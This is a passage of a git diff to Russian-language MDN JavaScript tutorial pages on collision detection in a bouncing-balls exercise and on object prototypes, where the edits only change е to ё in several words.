ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° запускаСтся, поэтому ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ снова ΠΈ снова.</li>
+ <li>ВыполняСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ снова с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>requestAnimationFrame()</code> - ΠΊΠΎΠ³Π΄Π° этот ΠΌΠ΅Ρ‚ΠΎΠ΄ постоянно запускаСтся ΠΈ пСрСдаётся ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ количСство Ρ€Π°Π· Π² сСкунду для создания ΠΏΠ»Π°Π²Π½ΠΎΠΉ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎ это дСлаСтся рСкурсивно - это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ функция Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ сСбя ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½Π° запускаСтся, поэтому ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ снова ΠΈ снова.</li>
</ul>
</li>
<li>И послСднСС, Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½ΠΎΠ΅: Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку Π² ΠΊΠΎΠ½Π΅Ρ† вашСго ΠΊΠΎΠ΄Π° - Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ.
@@ -255,7 +255,7 @@ testBall.draw()</pre>
<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ слоТный, поэтому Π½Π΅ Π±Π΅ΡΠΏΠΎΠΊΠΎΠΉΡ‚Π΅ΡΡŒ, Ссли Π²Ρ‹ Π½Π΅ ΠΏΠΎΠ½ΠΈΠΌΠ°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΈΠΌΠ΅Π½Π½ΠΎ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚. НиТС приводится объяснСниС:</p>
<ul>
- <li>Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡˆΠ°Ρ€Π° Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡˆΠ°Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, столкнулся Π»ΠΈ ΠΎΠ½ с Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ мячом. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, ΠΌΡ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Ρ†ΠΈΠΊΠ» <code>for</code>Β  Ρ‡Π΅Ρ€Π΅Π· всС ΡˆΠ°Ρ€Ρ‹ Π² массивС <code>balls[]</code>.</li>
+ <li>Для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΡˆΠ°Ρ€Π° Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΡˆΠ°Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, столкнулся Π»ΠΈ ΠΎΠ½ с Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ мячом. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, ΠΌΡ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°Π΅ΠΌ Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ Ρ†ΠΈΠΊΠ» <code>for</code>Β  Ρ‡Π΅Ρ€Π΅Π· всС ΡˆΠ°Ρ€Ρ‹ Π² массивС <code>balls[]</code>.</li>
<li>Π‘Ρ€Π°Π·Ρƒ ΠΆΠ΅ Π² нашСм Ρ†ΠΈΠΊΠ»Π΅ for ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>if</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ Π»ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΡˆΠ°Ρ€ΠΈΠΊ, Ρ‚ΠΎΡ‚ ΠΆΠ΅ самый ΡˆΠ°Ρ€, Ρ‡Ρ‚ΠΎ ΠΈ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ сСйчас провСряСм. ΠœΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ мяч столкнулся с самим собой! Для этого ΠΌΡ‹ провСряСм, являСтся Π»ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ мяч (Ρ‚.Π΅. мяч, ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ collisionDetect) Ρ‚Π°ΠΊΠΎΠΉ ΠΆΠ΅, ΠΊΠ°ΠΊ ΡˆΠ°Ρ€ ΠΏΠ΅Ρ‚Π»ΠΈ (Ρ‚.Π΅. ΡˆΠ°Ρ€, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ссылаСтся тСкущая итСрация Ρ†ΠΈΠΊΠ»Π° for Π² collisionDetect ΠΌΠ΅Ρ‚ΠΎΠ΄). Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>!</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° if выполнялся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΎΠ½ΠΈ <strong>Π½Π΅</strong> ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚.</li>
<li>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ ΠΎΠ±Ρ‰ΠΈΠΉ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ столкновСния Π΄Π²ΡƒΡ… окруТностСй. ΠœΡ‹ Π² основном провСряСм, пСрСкрываСтся Π»ΠΈ какая-Π»ΠΈΠ±ΠΎ ΠΈΠ· областСй ΠΊΡ€ΡƒΠ³Π°. Π­Ρ‚ΠΎ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚ΡΡ Π΄Π°Π»Π΅Π΅ <a href="https://developer.mozilla.org/en-US/docs/Games/Techniques/2D_collision_detection">2D collision detection</a>.</li>
<li>Если ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠ΅Π½ΠΎ столкновСниС, выполняСтся ΠΊΠΎΠ΄ Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅Π³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>if</code>. Π’ этом случаС ΠΌΡ‹ просто устанавливаСм свойство <code>color</code> ΠΎΠ±ΠΎΠΈΡ… ΠΊΡ€ΡƒΠ³ΠΎΠ² Π½Π° Π½ΠΎΠ²Ρ‹ΠΉ случайный Ρ†Π²Π΅Ρ‚. ΠœΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ слоТноС, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡˆΠ°Ρ€Ρ‹ ΠΎΡ‚ΡΠΊΠ°ΠΊΠΈΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π° рСалистично, Π½ΠΎ это Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π³ΠΎΡ€Π°Π·Π΄ΠΎ слоТнСС Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Для Ρ‚Π°ΠΊΠΎΠ³ΠΎ модСлирования Ρ„ΠΈΠ·ΠΈΠΊΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ склонны ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ³Ρ€Ρ‹ ΠΈΠ»ΠΈ Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΡƒ Ρ„ΠΈΠ·ΠΈΠΊΠΈ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <a href="http://wellcaffeinated.net/PhysicsJS/">PhysicsJS</a>, <a href="http://brm.io/matter-js/">matter.js</a>, <a href="http://phaser.io/">Phaser</a> ΠΈ Ρ‚.Π΄.</li>
@@ -268,7 +268,7 @@ testBall.draw()</pre>
</ol>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаСтся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ JavaScript с нашСй <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a> (Ρ‚Π°ΠΊΠΆΠ΅ смотритС, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ <a href="https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">Π² прямом эфирС</a>).</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>. Если Π²Π°ΠΌ Π½Π΅ удаётся Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ JavaScript с нашСй <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ вСрсиСй</a> (Ρ‚Π°ΠΊΠΆΠ΅ смотритС, ΠΊΠ°ΠΊ ΠΎΠ½ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ <a href="https://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">Π² прямом эфирС</a>).</p>
</div>
<h2 id="РСзюмС">РСзюмС</h2>
diff --git a/files/ru/learn/javascript/objects/object_prototypes/index.html b/files/ru/learn/javascript/objects/object_prototypes/index.html
index e488f1bdbc..eba89abee6 100644
--- a/files/ru/learn/javascript/objects/object_prototypes/index.html
+++ b/files/ru/learn/javascript/objects/object_prototypes/index.html
@@ -45,7 +45,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_prototypes
<p>Π’ΠΎΡ‡Π½Π΅Π΅, свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π² свойствС <code>prototype</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Π° Π½Π΅ Π² самих ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ….</p>
-<p>Π’ JavaScript создаСтся связь ΠΌΠ΅ΠΆΠ΄Ρƒ экзСмпляром ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ Π΅Π³ΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠΌ (свойство <code>__proto__</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹ΠΌ ΠΎΡ‚ свойства <code>prototype</code> конструктора), Π° свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅ ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
+<p>Π’ JavaScript создаётся связь ΠΌΠ΅ΠΆΠ΄Ρƒ экзСмпляром ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈ Π΅Π³ΠΎ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠΌ (свойство <code>__proto__</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ являСтся ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄Π½Ρ‹ΠΌ ΠΎΡ‚ свойства <code>prototype</code> конструктора), Π° свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅ ΠΏΠΎ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ сущСствуСт Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠ΅ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ доступСн Ρ‡Π΅Ρ€Π΅Π· <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf">Object.getPrototypeOf(obj)</a></code> ΠΈΠ»ΠΈ Ρ‡Π΅Ρ€Π΅Π· ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅Π΅ свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code>) ΠΈ свойством <code>prototype</code> Π² функциях-конструкторах. ΠŸΠ΅Ρ€Π²ΠΎΠ΅ свойство являСтся свойством ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ экзСмпляра, Π° Π²Ρ‚ΠΎΡ€ΠΎΠ΅ - свойством конструктора. Π’ΠΎ Π΅ΡΡ‚ΡŒ <code>Object.getPrototypeOf(new Foobar())</code> относится ΠΊ Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, Ρ‡Ρ‚ΠΎ ΠΈ <code>Foobar.prototype</code>.</p>
@@ -55,7 +55,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_prototypes
<h2 id="ПониманиС_ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²">ПониманиС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²</h2>
-<p>ВСрнСмся ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ наш конструктор <code>Person()</code>- Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² свой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Если Ρƒ вас Π΅Ρ‰Π΅ Π½Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΎΡ‚ послСднСй ΡΡ‚Π°Ρ‚ΡŒΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> (см. Π’Π°ΠΊΠΆΠ΅ <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">исходный ΠΊΠΎΠ΄</a>).</p>
+<p>ВСрнёмся ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ Π·Π°ΠΊΠΎΠ½Ρ‡ΠΈΠ»ΠΈ ΠΏΠΈΡΠ°Ρ‚ΡŒ наш конструктор <code>Person()</code>- Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² свой Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Если Ρƒ вас Π΅Ρ‰Ρ‘ Π½Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΎΡ‚ послСднСй ΡΡ‚Π°Ρ‚ΡŒΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> (см. Π’Π°ΠΊΠΆΠ΅ <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">исходный ΠΊΠΎΠ΄</a>).</p>
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ конструктору Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -75,15 +75,15 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_prototypes
<pre class="brush: js">var person1 = new Person('Bob', 'Smith', 32, 'male', ['music', 'skiing']);</pre>
-<p>Если Π²Ρ‹ Π½Π°Π±Π΅Ρ€Π΅Ρ‚Π΅ Β«<code>person1.</code>» в вашСй консоли JavaScript, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пытаСтся автоматичСски Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ это с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ участников, доступных Π½Π° этом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅:</p>
+<p>Если Π²Ρ‹ Π½Π°Π±Π΅Ρ€Ρ‘Ρ‚Π΅ Β«<code>person1.</code>» в вашСй консоли JavaScript, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пытаСтся автоматичСски Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ это с ΠΈΠΌΠ΅Π½Π°ΠΌΠΈ участников, доступных Π½Π° этом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13853/object-available-members.png" style="display: block; margin: 0 auto;"></p>
-<p>Π’ этом спискС Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ элСмСнты, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π² конструкторС person 1 β€” Person() β€” <code>name</code>, <code>age</code>, <code>gender</code>, <code>interests</code>, <code>bio</code>, ΠΈ <code>greeting</code>. Однако Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты β€” <code>watch</code>, <code>valueOf</code>ΠΈ Ρ‚. Π΄. β€” ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° Person (), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>.</p>
+<p>Π’ этом спискС Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ элСмСнты, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π² конструкторС person 1 β€” Person() β€” <code>name</code>, <code>age</code>, <code>gender</code>, <code>interests</code>, <code>bio</code>, ΠΈ <code>greeting</code>. Однако Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты β€” <code>watch</code>, <code>valueOf</code>ΠΈ Ρ‚. Π΄. β€” ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° Person (), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a></code>.</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/13891/MDN-Graphics-person-person-object-2.png" style="display: block; height: 150px; margin: 0px auto; width: 700px;"></p>
-<p>Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Ссли Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π² <code>person1</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ фактичСски ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² <code>Object</code>? НапримСр:</p>
+<p>Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Ссли Π²Ρ‹ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π² <code>person1</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ фактичСски ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² <code>Object</code>? НапримСр:</p>
<pre class="brush: js">person1.valueOf()</pre>
@@ -99,7 +99,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object_prototypes
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅Ρ‚ способа ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ - «ссылки» ΠΌΠ΅ΠΆΠ΄Ρƒ элСмСнтами Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ Π²ΠΎ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΌ свойствС, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΌ <code>[[prototype]]</code> Π² спСцификации для языка JavaScript ( см. {{glossary("ECMAScript")}}). Однако Ρƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π΅ΡΡ‚ΡŒ свойство, доступноС для Π½ΠΈΡ… ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/proto">__proto__</a></code><a 